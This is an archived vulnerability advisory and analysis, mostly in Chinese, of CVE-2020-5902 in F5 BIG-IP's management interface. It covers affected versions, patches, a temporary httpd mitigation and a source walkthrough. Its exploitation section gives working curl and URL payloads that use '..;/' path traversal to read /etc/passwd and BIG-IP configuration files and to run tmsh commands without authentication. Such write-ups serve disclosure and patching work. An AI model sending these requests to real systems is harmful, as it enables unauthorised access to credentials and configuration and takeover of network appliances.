← All writing
Code auditing / Lab notes

CVE-2020-5902: F5 BIG-IP Analysis Notes

An archived review of advisory details, validation paths, affected versions and mitigations.

Archive note

Original dates and source attribution are preserved. Identifying details have been redacted; some lab endpoints and screenshots are withheld. Software versions and environments are historical. 12 archived illustrations remain unavailable and are marked in place.

0x01 漏洞简述

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

2020年07月03日, F5 发布了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重。

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

参考网上众多通告,总结此篇。

与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x02 风险等级

官方给出的安全咨询状态

Archived image unavailable

该漏洞的评定结果如下

评定方式 等级
威胁等级 严重
影响面 广泛

0x03 漏洞详情

F5 BIG-IP 是美国F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

目前msf已经集成了该漏洞的利用。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

0x04 利用方法

文件读取poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

Archived image unavailable

RCE poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Archived image unavailable

复现建议

poc参考

Archived image unavailable

部署参考

Archived image unavailable

0x05 漏洞详情

在 F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞。

目前msf已经集成了该漏洞的利用。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

tmshCmd

在 tmshCmd 的 service方法处理请求的时候,对 command 参数进行处理。 命令需要满足两个条件:

  1. cmd.matches 返回 false
  2. isUserAuthorized 返回 false

Archived image unavailable

看下第二个条件,只需要 RawRoleId 不为 0、20、100、510 即可。

Archived image unavailable

然后调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令,限制了执行delete,create,list,modify。

if ("POST".equalsIgnoreCase(request.getMethod())) {
String[] cmdArray = command.split(" ");
String operation = cmdArray[0];
String module = cmdArray[2];
if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
try {
String[] args = new String[]{command};
Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (CallException var11) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
error = var11.getMessage();
}
} else {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileRead

在 fileRead 的 service方法处理请求的时候,对 fileName 参数进行处理。 文件读取需要满足两个条件:

  1. isFileWhitelisted 方法返回 false
  2. userCanAccessPartition 方法返回 false

Archived image unavailable

调用 isFileWhitelisted 方法,检测请求的 fileName 是否在白名单里,如果不在,则返回false,不抛出错误。

Archived image unavailable

继续调用 userCanAccessPartition 方法,检测 fileName 是否以 /var/sdm/plugin_store/plugins/ 开头,不是就返回false。

Archived image unavailable

接着就能调用 WorkspaceUtils.readFile(fileName); 方法,进行文件的读取。

Archived image unavailable

0x06 影响版本

  • BIG-IP 15.x: 15.1.0/15.0.0
  • BIG-IP 14.x: 14.1.0 ~ 14.1.2
  • BIG-IP 13.x: 13.1.0 ~ 13.1.3
  • BIG-IP 12.x: 12.1.0 ~ 12.1.5
  • BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x07 修复建议

通用修补建议

升级到以下版本

  • BIG-IP 15.x: 15.1.0.4
  • BIG-IP 14.x: 14.1.2.6
  • BIG-IP 13.x: 13.1.3.4
  • BIG-IP 12.x: 12.1.5.2
  • BIG-IP 11.x: 11.6.5.2

临时修补建议

官方建议可以通过以下步骤临时缓解影响

Archived image unavailable

  1. 使用以下命令登录对应系统
tmsh
  1. 编辑 httpd 组件的配置文件
edit /sys httpd all-properties
  1. 文件内容如下
include '
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
'
  1. 按照如下操作保存文件
按下 ESC 并依次输入
:wq
  1. 执行命令刷新配置文件
save /sys config
  1. 重启 httpd 服务
restart sys service httpd

并禁止外部IP对 TMUI 页面的访问

0x08 参见

官方文档

360CERT

Budi Khoirudin@x4ce

End of articleBack to writing ↗

Search by topic, technology or keyword.

Local search · No tracking